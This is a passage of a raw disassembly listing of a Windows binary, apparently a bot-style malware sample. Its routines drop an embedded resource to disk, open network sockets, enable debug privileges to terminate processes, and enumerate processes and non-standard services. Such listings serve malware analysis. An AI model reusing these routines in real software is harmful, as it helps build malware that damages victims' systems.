[esp+118h+var_100] push eax nop call near ptr 77C47A90h add esp, 0Ch lea edx, [esp+110h+var_110] lea ecx, [esp+110h+var_100] xor eax, eax push edx mov [esp+114h+var_110], ecx mov [esp+114h+var_10C], offset loc_401965 mov [esp+114h+var_108], eax mov [esp+114h+var_104], eax call near ptr 2900000h nop xor eax, eax add esp, 110h retn sub_41FC00 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FC80: ; CODE XREF: ___:00401C44j mov eax, [esp+4] push ebx push esi push edi push offset aWb ; "wb" push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 test ebx, ebx jnz short loc_41FCA2 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCA2: ; CODE XREF: ___:0041FC9Aj mov ecx, [esp+18h] push ecx call near ptr 2881C8Fh nop mov esi, eax test esi, esi jnz short loc_41FCB9 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCB9: ; CODE XREF: ___:0041FCB1j mov edx, [esp+14h] push offset aBinres ; "BINRES" and edx, 0FFFFh push edx push esi nop call near ptr 27904B7h mov edi, eax test edi, edi jnz short loc_41FCDC pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_41FCDC: ; CODE XREF: ___:0041FCD4j push ebp push edi push esi nop call near ptr 2790AF3h push edi push esi mov ebp, eax call near ptr 27A0000h nop push ebp mov esi, eax call near ptr 27A032Eh nop push ebx push esi push 1 push eax call near ptr 77C4173Bh nop push ebx nop call near ptr 77C40AB1h add esp, 14h mov al, 1 pop ebp pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD50 proc near ; CODE XREF: sub_40188Ej arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push esi call near ptr 71AB2BF4h nop cmp eax, 0FFFFFFFFh jnz short loc_41FD78 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_41FD71 or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_41FD71: ; CODE XREF: sub_41FD50+1Aj mov eax, [eax+0Ch] mov ecx, [eax] mov eax, [ecx] loc_41FD78: ; CODE XREF: sub_41FD50+Fj pop esi retn sub_41FD50 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FD90 proc near ; CODE XREF: sub_401AA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push esi push 6 push 1 push 2 call near ptr 71AB3B91h nop mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FDAE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FDAE: ; CODE XREF: sub_41FD90+15j mov ecx, [esp+14h+arg_4] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call near ptr 71AB2B66h nop mov edx, [esp+14h+arg_0] mov word ptr [esp+14h+var_10+2], ax push edx call sub_40188E add esp, 4 mov [esp+14h+var_C], eax lea eax, [esp+14h+var_10] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_41FE0A push esi nop call near ptr 71AB9639h or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE0A: ; CODE XREF: sub_41FD90+69j mov eax, esi pop esi add esp, 10h retn sub_41FD90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FE50 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_41FE6E or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FE6E: ; CODE XREF: sub_41FE50+15j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax nop call near ptr 71AB2B66h lea edx, [esp+14h+var_10] push 10h push edx push esi mov word ptr [esp+20h+var_10+2], ax mov [esp+20h+var_C], 0 call near ptr 71AB3E00h nop test eax, eax jz short loc_41FEC0 push esi call near ptr 71AB9639h nop or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_41FEC0: ; CODE XREF: sub_41FE50+5Fj mov eax, esi pop esi add esp, 10h retn sub_41FE50 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FEF0 proc near ; CODE XREF: sub_4012DFj var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, [esp+14h+arg_0] push 0Ah push esi nop call near ptr 71AB88D3h cmp eax, 0FFFFFFFFh jz short loc_41FF24 lea eax, [esp+14h+arg_0] lea ecx, [esp+14h+var_10] push eax push ecx push esi mov [esp+20h+arg_0], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF27 loc_41FF24: ; CODE XREF: sub_41FEF0+14j or eax, 0FFFFFFFFh loc_41FF27: ; CODE XREF: sub_41FEF0+32j pop esi add esp, 10h retn sub_41FEF0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FF40 proc near ; CODE XREF: sub_402009j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_41FF76 mov esi, [esp+8+arg_0] push 0Ah push esi call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jz short loc_41FF76 lea eax, [esp+8+arg_4] mov [esp+8+arg_4], 10h push eax push edi push esi nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh jnz short loc_41FF79 loc_41FF76: ; CODE XREF: sub_41FF40+8j ; sub_41FF40+1Aj or eax, 0FFFFFFFFh loc_41FF79: ; CODE XREF: sub_41FF40+34j pop edi pop esi retn sub_41FF40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41FF90 proc near ; CODE XREF: sub_401604j var_1128 = dword ptr -1128h var_1124 = byte ptr -1124h var_1112 = byte ptr -1112h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_1108 = byte ptr -1108h var_1104 = byte ptr -1104h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = byte ptr 8 arg_104 = byte ptr 108h arg_110 = byte ptr 114h mov eax, 1114h call sub_437B30 lea eax, [esp+arg_4] lea ecx, [esp+arg_110] push eax push 1000h push ecx mov byte ptr [esp+0Fh], 0 call sub_4382BC ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41FFC3 xor al, al add esp, 1114h retn ; --------------------------------------------------------------------------- loc_41FFC3: ; CODE XREF: sub_41FF90+28j mov eax, [esp+0Ch+var_4] shr eax, 2 jz loc_42008D push ebx mov ebx, dword_5117E0 push ebp push esi push edi lea ebp, [esp+1Ch+arg_104] mov [esp+1Ch+var_8], eax loc_41FFE5: ; CODE XREF: sub_41FF90+F3j mov edi, offset aUnknown ; "unknown" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+20h] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ecx, [ebp+0] push ecx push 0 push 411h call ebx mov esi, eax test esi, esi jz short loc_420077 lea edx, [esp+18h] lea eax, [esp+1Ch] push edx push 4 push eax push esi call sub_4382B6 ; --------------------------------------------------------------------------- test eax, eax jz short loc_420070 mov edx, [esp+1144h+var_1128] lea ecx, [esp+1144h+var_1124] push 104h push ecx push edx push esi call sub_4382B0 ; --------------------------------------------------------------------------- db 8Bh, 84h, 24h dd 1128h, 20244C8Dh, 0F3E85150h, 90778261h, 8508C483h dd 500D75C0h, 0A3E89056h, 0C6023702h, 1132444h ; --------------------------------------------------------------------------- loc_420070: ; CODE XREF: sub_41FF90+A2j push esi call near ptr 2840000h nop loc_420077: ; CODE XREF: sub_41FF90+8Cj mov eax, dword ptr [esp+1138h+var_1124] add ebp, 4 dec eax mov dword ptr [esp+1138h+var_1124], eax jnz loc_41FFE5 pop edi pop esi pop ebp pop ebx loc_42008D: ; CODE XREF: sub_41FF90+3Aj mov al, byte ptr [esp+1128h+var_1128+3] add esp, 1114h retn sub_41FF90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4200F0 proc near ; CODE XREF: sub_401A0Aj var_490 = byte ptr -490h var_488 = byte ptr -488h var_482 = byte ptr -482h var_480 = byte ptr -480h var_478 = byte ptr -478h var_468 = dword ptr -468h var_464 = byte ptr -464h var_454 = dword ptr -454h var_450 = dword ptr -450h var_43C = byte ptr -43Ch var_438 = byte ptr -438h var_424 = byte ptr -424h var_420 = byte ptr -420h var_38 = byte ptr -38h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_4200F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 44Ch push ebx push esi mov esi, [esp+460h+arg_0] lea ecx, [esp+460h+var_424] push esi call sub_401870 push eax mov [esp+464h+var_4], 0 call sub_401EAB add esp, 4 lea ecx, [esp+460h+var_424] mov bl, al mov [esp+460h+var_4], 0FFFFFFFFh call sub_401226 test bl, bl jz loc_42026A lea ecx, [esp+460h+var_43C] call sub_40142E push esi lea eax, [esp+464h+var_43C] mov ebx, 1 push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax mov [esp+46Ch+var_4], ebx mov [esp+46Ch+var_454], 0 mov [esp+46Ch+var_450], 80h call sub_40102D add esp, 0Ch lea ecx, [esp+460h+var_454] push ecx push 20019h push 0 lea ecx, [esp+46Ch+var_43C] call sub_40168B push eax push 80000002h nop call near ptr 2940000h mov ecx, [esp+474h+var_468] lea edx, [esp+474h+var_464] lea eax, [esp+474h+var_420] push edx push eax push 0 push 0 push offset aImagepath ; "ImagePath" push ecx nop call near ptr 28F0000h lea edx, [esp+0Bh] lea eax, [esp+48Ch+var_438] push edx push eax lea ecx, [esp+494h+var_478] nop call near ptr 76081F67h mov ecx, dword_5119E0 mov [esp+494h+var_38], 2 mov edx, [ecx] lea ecx, [esp+494h+var_480] push edx push offset asc_444AD4 ; "\\" call near ptr 76085AE4h nop inc eax lea ecx, [esp+49Ch+var_488] push eax push 0 nop call near ptr 760976AFh lea ecx, [esp+4A4h+var_490] nop call near ptr 7608B84Ch push eax call sub_401604 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 24244C8Dh, 0FE1466E8h, 0E89050FFh, 23C0AF2h, 14244C8Dh dd 5C249C88h, 90000004h, 0C6F248E8h, 244C8D75h, 2484C724h dd 45Ch, 0FFFFFFFFh, 0FE0FD5E8h, 5EC38AFFh, 248C8B5Bh dd 44Ch, 0D8964h, 81000000h, 458C4h db 0, 0C3h ; --------------------------------------------------------------------------- loc_42026A: ; CODE XREF: sub_4200F0+5Aj mov ecx, [esp+460h+var_C] pop esi xor al, al pop ebx mov large fs:0, ecx add esp, 458h retn sub_4200F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420300 proc near ; CODE XREF: sub_401EABj var_1C = byte ptr -1Ch arg_0 = dword ptr 4 sub esp, 1Ch push ebx push esi push 0F003Fh push offset aServicesactive ; "ServicesActive" push 0 nop call near ptr 291096Fh mov ebx, eax test ebx, ebx jnz short loc_420325 pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420325: ; CODE XREF: sub_420300+1Bj mov ecx, [esp+24h+arg_0] push 0F01FFh call sub_4017EE push eax push ebx nop call near ptr 28B0000h mov esi, eax test esi, esi jnz short loc_420350 push ebx nop call near ptr 292039Ah pop esi xor al, al pop ebx add esp, 1Ch retn ; --------------------------------------------------------------------------- loc_420350: ; CODE XREF: sub_420300+3Fj push ebp push edi mov edi, dword_511748 push esi call edi push esi call edi mov ebp, dword_511744 lea eax, [esp+2Ch+var_1C] push eax push 1 push esi call ebp push esi call edi lea ecx, [esp+2Ch+var_1C] push ecx push 1 push esi call ebp push esi mov esi, dword_511754 call esi push ebx call esi pop edi pop ebp pop esi mov al, 1 pop ebx add esp, 1Ch retn sub_420300 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4203D0 proc near ; CODE XREF: sub_4018B6j var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_14 = dword ptr -14h var_10 = byte ptr -10h arg_0 = dword ptr 4 sub esp, 28h push ebx push ebp push esi lea eax, [esp+34h+var_28] push edi xor esi, esi push eax push esi push 28h xor bl, bl mov [esp+44h+var_24], 10h nop call near ptr 27902A9h push eax nop call near ptr 28D170Ah mov ebp, dword_511720 mov edi, dword_5118E0 test eax, eax jnz short loc_420420 lea ecx, [esp+38h+var_28] push ecx push 28h call near ptr 27902C1h nop push eax nop call near ptr 28D1C6Fh test eax, eax jz short loc_42047F loc_420420: ; CODE XREF: sub_4203D0+36j cmp [esp+38h+var_28], esi jz short loc_420483 lea edx, [esp+38h+var_1C] mov [esp+38h+var_20], 1 push edx push offset aSedebugprivile ; "SeDebugPrivilege" push esi mov [esp+44h+var_14], 2 nop call near ptr 28E0000h lea eax, [esp+38h+var_24] lea ecx, [esp+38h+var_10] push eax mov eax, [esp+3Ch+var_28] push ecx lea edx, [esp+40h+var_20] push 10h push edx push esi push eax call ebp test eax, eax jz short loc_420478 nop call near ptr 27C08AAh cmp eax, 514h jnz short loc_420483 mov ecx, [esp+38h+var_28] push ecx jmp short loc_42047D ; --------------------------------------------------------------------------- loc_420478: ; CODE XREF: sub_4203D0+92j mov edx, [esp+38h+var_28] push edx loc_42047D: ; CODE XREF: sub_4203D0+A6j call edi loc_42047F: ; CODE XREF: sub_4203D0+4Ej mov [esp+38h+var_28], esi loc_420483: ; CODE XREF: sub_4203D0+54j ; sub_4203D0+9Fj mov eax, [esp+38h+arg_0] push eax push esi push 411h call near ptr 2700000h nop mov esi, eax test esi, esi jz short loc_4204A8 push 0 push esi nop call near ptr 279030Eh push esi mov bl, 1 call edi loc_4204A8: ; CODE XREF: sub_4203D0+C8j mov eax, [esp+38h+var_28] test eax, eax jz short loc_4204C7 push 0 push 0 lea ecx, [esp+40h+var_10] push 10h push ecx push 0 push eax call ebp mov edx, [esp+38h+var_28] push edx call edi loc_4204C7: ; CODE XREF: sub_4203D0+DEj pop edi pop esi mov al, bl pop ebp pop ebx add esp, 28h retn sub_4203D0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420530 proc near ; CODE XREF: sub_4011D6j var_68 = dword ptr -68h var_54 = byte ptr -54h var_4C = dword ptr -4Ch var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_28 = byte ptr -28h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_F4 = byte ptr 0F8h arg_100 = byte ptr 104h arg_10C4 = dword ptr 10C8h arg_10D0 = dword ptr 10D4h arg_1104 = dword ptr 1108h arg_1118 = dword ptr 111Ch mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420530 push eax mov eax, 1130h mov large fs:0, esp call sub_437B30 push esi push offset aPsapi_dll ; "PSAPI.DLL" call near ptr 2881C8Fh nop test eax, eax mov dword_50DB30, eax jnz short loc_42057C push offset aPsapi_dll ; "PSAPI.DLL" nop call near ptr 27E0948h test eax, eax mov dword_50DB30, eax jz loc_4206FA loc_42057C: ; CODE XREF: sub_420530+32j mov esi, dword_511918 push offset aEnumprocesses ; "EnumProcesses" push eax call esi mov dword_50DB34, eax mov eax, dword_50DB30 push offset aEnumprocessmod ; "EnumProcessModules" push eax call esi mov ecx, dword_50DB30 push offset aGetmodulefilen ; "GetModuleFileNameExA" push ecx mov dword_50DB38, eax call esi mov ecx, dword_50DB34 mov dword_50DB3C, eax test ecx, ecx jz loc_4206FA mov edx, dword_50DB38 test edx, edx jz loc_4206FA test eax, eax jz loc_4206FA lea edx, [esp+30h+var_28] lea eax, [esp+30h+arg_100] push edx push 1000h push eax call ecx test eax, eax jz loc_4206FA mov ecx, dword ptr aUnknown ; "unknown" mov eax, dword ptr aUnknown+4 mov edx, [esp+3Ch+var_34] push edi mov [esp+40h+var_C], ecx mov [esp+40h+var_8], eax mov ecx, 3Fh mov eax, 0 lea edi, [esp+40h+var_4] shr edx, 2 rep stosd jz loc_4206E1 push ebx mov ebx, [esp+44h+arg_1104] push ebp mov ebp, dword_5117E0 lea edi, [esp+48h+arg_F4] mov [esp+48h+var_38], edx loc_42063F: ; CODE XREF: sub_420530+1A9j mov ecx, [edi] push ecx push 0 push 410h call ebp mov esi, eax test esi, esi jz short loc_4206CD lea edx, [esp+54h+var_38] lea eax, [esp+54h+var_3C] push edx push 4 push eax push esi call dword_50DB38 test eax, eax jz short loc_4206C6 mov edx, [esp+64h+var_4C] lea ecx, [esp+64h+var_28] push 104h push ecx push edx push esi call dword_50DB3C lea ecx, [esp+74h+var_54] call sub_401875 lea eax, [esp+74h+var_38] lea ecx, [esp+74h+var_54] push eax mov [esp+78h+arg_10D0], 0 call sub_4015E1 mov ecx, [edi] lea edx, [esp+74h+var_54] mov [esp+35h], ecx push edx mov ecx, ebx call sub_402185 ; --------------------------------------------------------------------------- lea ecx, [esp+74h+var_54] mov [esp+74h+arg_10D0], 0FFFFFFFFh call sub_401A82 loc_4206C6: ; CODE XREF: sub_420530+136j push esi nop call near ptr 2840000h loc_4206CD: ; CODE XREF: sub_420530+11Fj mov eax, [esp+78h+var_68] add edi, 4 dec eax mov [esp+78h+var_68], eax jnz loc_42063F pop ebp pop ebx loc_4206E1: ; CODE XREF: sub_420530+EFj pop edi mov al, 1 pop esi mov ecx, [esp+68h+arg_10C4] mov large fs:0, ecx add esp, 113Ch retn ; --------------------------------------------------------------------------- loc_4206FA: ; CODE XREF: sub_420530+46j ; sub_420530+8Cj ... mov ecx, [esp+18h+arg_1118] xor al, al pop esi mov large fs:0, ecx add esp, 113Ch retn sub_420530 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207A0 proc near ; CODE XREF: sub_401875j push esi mov esi, ecx call sub_40142E mov eax, esi pop esi retn sub_4207A0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4207C0 proc near ; CODE XREF: sub_401A82j jmp sub_401226 sub_4207C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4207E0 proc near ; CODE XREF: sub_402162j var_518 = byte ptr -518h var_514 = dword ptr -514h var_510 = dword ptr -510h var_50C = dword ptr -50Ch var_508 = dword ptr -508h var_504 = dword ptr -504h var_500 = dword ptr -500h var_4FC = dword ptr -4FCh var_4F8 = byte ptr -4F8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4DC = dword ptr -4DCh var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4CC = dword ptr -4CCh var_4C8 = dword ptr -4C8h var_4C4 = dword ptr -4C4h var_4C0 = dword ptr -4C0h var_4BC = dword ptr -4BCh var_4B8 = dword ptr -4B8h var_4B4 = dword ptr -4B4h var_4B0 = dword ptr -4B0h var_4AC = dword ptr -4ACh var_4A8 = dword ptr -4A8h var_4A4 = dword ptr -4A4h var_4A0 = dword ptr -4A0h var_49C = dword ptr -49Ch var_498 = dword ptr -498h var_494 = dword ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = dword ptr -47Ch var_478 = dword ptr -478h var_474 = dword ptr -474h var_470 = dword ptr -470h var_46C = dword ptr -46Ch var_468 = dword ptr -468h var_464 = dword ptr -464h var_460 = dword ptr -460h var_45C = dword ptr -45Ch var_458 = dword ptr -458h var_454 = dword ptr -454h var_450 = dword ptr -450h var_44C = dword ptr -44Ch var_448 = dword ptr -448h var_444 = dword ptr -444h var_440 = dword ptr -440h var_43C = dword ptr -43Ch var_438 = dword ptr -438h var_430 = byte ptr -430h var_41C = byte ptr -41Ch var_408 = byte ptr -408h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4207E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 50Ch push ebx push ebp xor ebx, ebx push 80000000h push ebx push ebx call near ptr 291096Fh nop mov ebp, eax cmp ebp, ebx mov [esp+520h+var_500], ebp jnz short loc_42082F pop ebp xor al, al pop ebx mov ecx, [esp+518h+var_C] mov large fs:0, ecx add esp, 518h retn ; --------------------------------------------------------------------------- loc_42082F: ; CODE XREF: sub_4207E0+34j push esi push edi lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv" mov [esp+528h+var_4E0], offset aBrowser ; "Browser" mov [esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc" mov [esp+528h+var_4D8], offset aDhcp ; "Dhcp" mov [esp+528h+var_4D4], offset aDmserver ; "dmserver" mov [esp+528h+var_4D0], offset aDnscache ; "Dnscache" mov [esp+528h+var_4CC], offset aErsvc ; "ERSvc" mov [esp+528h+var_4C8], offset aEventlog ; "Eventlog" mov [esp+528h+var_4C4], offset aEventsystem ; "EventSystem" mov [esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility" mov [esp+528h+var_4BC], offset aHelpsvc ; "helpsvc" mov [esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver" mov [esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation" mov [esp+528h+var_4B0], offset aLmhosts ; "LmHosts" mov [esp+528h+var_4AC], offset off_44530C mov [esp+528h+var_4A8], offset aMessenger ; "Messenger" mov [esp+528h+var_4A4], offset aNetman ; "Netman" mov [esp+528h+var_4A0], offset aNla ; "Nla" mov [esp+528h+var_49C], offset aPlugplay ; "PlugPlay" mov [esp+528h+var_498], offset aPolicyagent ; "PolicyAgent" mov [esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage" mov [esp+528h+var_490], offset aRasman ; "RasMan" mov [esp+528h+var_48C], offset aRpcss ; "RpcSs" mov [esp+528h+var_488], offset aSamss ; "SamSs" mov [esp+528h+var_484], offset aSchedule ; "Schedule" mov [esp+528h+var_480], offset aSeclogon ; "seclogon" mov [esp+528h+var_47C], offset aSens ; "SENS" mov [esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection" mov [esp+528h+var_474], offset aSpooler ; "Spooler" mov [esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV" mov [esp+528h+var_46C], offset aStisvc ; "stisvc" mov [esp+528h+var_468], offset aTapisrv ; "TapiSrv" mov [esp+528h+var_464], offset aTermservice ; "TermService" mov [esp+528h+var_460], offset aTrkwks ; "TrkWks" mov [esp+528h+var_45C], offset aUploadmgr ; "uploadmgr" mov [esp+528h+var_458], offset aUpnphost ; "upnphost" mov [esp+528h+var_454], offset aW32time ; "W32Time" mov [esp+528h+var_450], offset aWebclient ; "WebClient" mov [esp+528h+var_44C], offset aWinmgmt ; "winmgmt" mov [esp+528h+var_448], offset aWzcsvc ; "WZCSVC" mov [esp+528h+var_444], offset aWuauserv ; "wuauserv" mov [esp+528h+var_440], offset aSrservice ; "srservice" mov [esp+528h+var_43C], offset aThemes ; "Themes" mov [esp+528h+var_438], ebx mov [esp+528h+var_510], ebx call sub_40142E lea eax, [esp+528h+var_510] lea ecx, [esp+528h+var_514] mov esi, dword_511718 push eax lea edx, [esp+52Ch+var_518] push ecx push edx lea eax, [esp+534h+var_41C] push ebx push eax push 1 push 30h push ebp mov [esp+548h+var_4], ebx mov [esp+548h+var_50C], ebx mov [esp+548h+var_504], 80h call esi mov ecx, [esp+524h+var_514] push ecx nop call near ptr 77C2C407h add esp, 4 mov edi, eax lea edx, [esp+524h+var_50C] lea eax, [esp+524h+var_510] push edx mov edx, [esp+528h+var_514] lea ecx, [esp+528h+var_514] push eax push ecx push edx push edi push 1 push 30h push ebp call esi mov eax, [esp+524h+var_510] mov [esp+524h+var_504], ebx cmp eax, ebx jbe loc_420B8F mov ebp, dword_511764 loc_420A6B: ; CODE XREF: sub_4207E0+3A5j mov eax, offset aAudiosrv ; "AudioSrv" test eax, eax jz short loc_420A97 lea esi, [esp+524h+var_4E0] loc_420A78: ; CODE XREF: sub_4207E0+2B5j mov ecx, [edi] push ecx push eax nop call near ptr 77C4624Eh add esp, 8 test eax, eax jz loc_420B73 mov eax, [esi+4] add esi, 4 cmp eax, ebx jnz short loc_420A78 loc_420A97: ; CODE XREF: sub_4207E0+292j mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s" push eax call sub_40102D add esp, 0Ch lea ecx, [esp+524h+var_508] push ecx push 20019h push ebx lea ecx, [esp+530h+var_4F8] call sub_40168B push eax push 80000002h call ebp cmp eax, ebx jz short loc_420AE3 mov edx, [edi] lea eax, [esp+524h+var_4F8] push edx push offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)" push eax call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420AE3: ; CODE XREF: sub_4207E0+2EAj mov eax, [esp+524h+var_508] lea ecx, [esp+524h+var_500] lea edx, [esp+524h+var_408] push ecx push edx push ebx push ebx push offset aImagepath ; "ImagePath" push eax nop call near ptr 28F0000h cmp eax, ebx jz short loc_420B1D mov ecx, [edi] lea edx, [esp+524h+var_4F8] push ecx push offset aS????_exe ; "[%s] [????.exe]" push edx call sub_40102D add esp, 0Ch jmp short loc_420B3A ; --------------------------------------------------------------------------- loc_420B1D: ; CODE XREF: sub_4207E0+324j mov ecx, [edi] lea eax, [esp+524h+var_408] push eax push ecx lea edx, [esp+52Ch+var_4F8] push offset aSS ; "[%s] [%s]" push edx call sub_40102D add esp, 10h loc_420B3A: ; CODE XREF: sub_4207E0+301j ; sub_4207E0+33Bj lea eax, [esp+524h+var_4F8] lea ecx, [esp+524h+var_430] push eax call sub_4014D3 mov ecx, [esp+524h+arg_4] push eax mov byte ptr [esp+528h], 1 call sub_401325 ; --------------------------------------------------------------------------- lea ecx, [esp+524h+var_430] mov [esp+524h], bl call sub_401226 loc_420B73: ; CODE XREF: sub_4207E0+2A7j mov eax, [esp+524h+var_504] mov ecx, [esp+524h+var_510] inc eax add edi, 24h cmp eax, ecx mov [esp+524h+var_504], eax jb loc_420A6B mov ebp, [esp+524h+var_4FC] loc_420B8F: ; CODE XREF: sub_4207E0+27Fj push ebp nop call near ptr 292039Ah lea ecx, [esp+528h+var_4FC] mov [esp+528h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+528h+var_C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 518h retn sub_4207E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420CD0 proc near ; CODE XREF: sub_4015F5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push eax push esi push 0 call near ptr 2881C8Fh nop push eax call near ptr 288108Ah nop mov eax, esi pop esi retn sub_420CD0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420D00 proc near ; CODE XREF: sub_401A37j var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push ebx mov [ebp+var_4], 0 mov [ebp+arg_4], eax femms mov ecx, [ebp+arg_4] mov edx, [ebp+arg_0] mov ebx, [ebp+var_4] cmp ecx, 2 js short loc_420D39 loc_420D22: ; CODE XREF: sub_420D00+32j xor eax, eax mov ax, [edx] add ebx, eax sub ecx, 2 add edx, 2 cmp ecx, 1 jg short loc_420D22 cmp ecx, 0 jz short loc_420D4A loc_420D39: ; CODE XREF: sub_420D00+20j ; sub_420D00+48j xor eax, eax mov al, [edx] add ebx, eax sub ecx, 1 add edx, 1 cmp ecx, 0 jg short loc_420D39 loc_420D4A: ; CODE XREF: sub_420D00+37j mov [ebp+var_4], ebx mov eax, [ebp+var_4] shr eax, 10h mov ebx, [ebp+var_4] and ebx, 0FFFFh add eax, ebx mov ebx, eax shr ebx, 10h add eax, ebx mov [ebp+var_4], eax femms mov eax, [ebp+var_4] pop ebx not eax mov esp, ebp pop ebp retn sub_420D00 endp ; 